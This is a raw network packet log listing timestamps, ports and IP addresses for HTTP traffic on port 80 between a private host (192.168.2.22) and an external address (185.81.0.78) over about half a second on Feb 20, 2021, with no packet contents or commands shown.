Feb 20, 2021 02:03:51.449515104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449531078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449553967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449589968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449603081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449626923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449626923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449657917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449665070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449686050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449734926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449856997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449896097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449932098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449938059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449963093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449975967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.450009108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.450014114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.450045109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.450051069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.450073957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.450107098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.450191975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.450252056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458311081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458376884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458416939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458452940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458498955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458528996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458571911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458579063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458583117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458587885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458756924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458827019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458832026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458895922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458899975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458935022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458970070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.458973885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.458990097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459027052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459038973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459090948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459112883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459136963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459139109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459178925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459202051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459240913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459245920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459283113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459316969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459321022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459337950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459363937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459374905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459423065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459424019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459459066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459486008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459496021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459513903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459532976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459543943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459606886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459611893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459683895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459716082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459757090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459781885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459810019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459841967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459908009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.459938049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.459985971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460007906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460048914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460057974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460097075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460129023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460134029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460165024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460169077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460201979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460207939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460236073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460244894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460263014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460292101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460293055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460334063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460361004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460371017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460388899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460408926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460421085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460465908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460551023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460616112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460624933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460679054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460692883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460725069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460736036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460796118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460820913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460882902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.460887909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460951090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.460967064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461009979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461025000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461046934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461066008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461091042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461097956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461148024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461153030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461185932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461210966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461244106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461251974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461293936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461317062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461348057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461476088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461539030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461549997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461610079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461611986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461647987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461674929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461683989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461705923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461736917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461760044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461807013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461822987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461868048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461877108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461929083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.461944103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.461967945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462001085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462038040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462114096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462182045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462212086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462249994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462275982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462296009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462305069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462358952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462385893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462428093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462451935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462464094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462481976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462510109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462510109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462553024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462575912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462589979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462608099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462629080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462642908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462666988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462685108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462702990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462714911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462740898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462758064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462776899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462785006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462843895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462843895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462892056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462914944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.462939024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.462948084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463020086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463048935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463110924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463114023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463148117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463175058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463185072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463208914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463222980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463236094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463268995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463284016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463310957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463327885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463347912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463355064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463386059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463408947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463423014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463438988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463459969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463471889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463496923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463520050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463551044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463637114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463675976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463699102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463736057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.463886976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463958979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.463965893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464027882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464040995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464078903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464111090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464124918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464138031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464165926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464185953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464210033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464235067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464271069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464307070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464368105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464375019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464422941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464441061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464473009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464502096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464551926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464574099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464590073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464598894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464652061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464662075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464710951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464725018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464770079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464783907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464817047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464849949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.464919090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.464967012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465013027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465033054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465059042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465081930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465122938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465143919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465169907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465173006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465229988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465248108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465290070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465306997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465326071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465341091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465364933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465389967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465416908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465481997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465523958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465555906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465560913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465589046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465607882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465614080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465648890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465687037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465688944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465712070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465723991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465743065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465761900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465775013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465799093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465811014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465837002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.465873957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.465903997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466137886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466176987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466212034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466234922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466291904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466327906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466358900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466386080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466428041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466468096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466501951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466530085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466536045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466567039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466608047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466610909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466631889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466669083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466670990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466747046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466754913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466816902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466824055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466880083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466882944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.466955900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.466965914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467029095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467031002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467065096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467094898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467111111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467128992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467153072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467169046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467190027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467216969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467226982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467246056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467264891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467277050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467300892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467327118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467338085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467356920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467382908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467384100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467443943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467446089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467492104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467513084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467533112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467569113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.467570066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.467605114 CET	49165	80	192.168.2.22	185.81.0.78
